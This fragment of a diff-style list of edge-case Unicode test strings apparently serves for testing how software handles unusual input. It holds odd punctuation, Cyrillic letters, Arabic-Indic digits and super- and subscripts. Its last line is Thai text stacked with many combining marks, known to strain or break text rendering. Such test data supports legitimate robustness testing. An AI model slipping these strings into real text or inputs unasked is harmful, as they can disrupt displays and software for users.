+ `⁄€‹›fifl‡°·‚—±
9
+ ⅛⅜⅝⅞
10
+ ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
11
+ ٠١٢٣٤٥٦٧٨٩
12
+ ⁰⁴⁵
13
+ ₀₁₂
14
+ ⁰⁴⁵₀₁₂
15
+ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็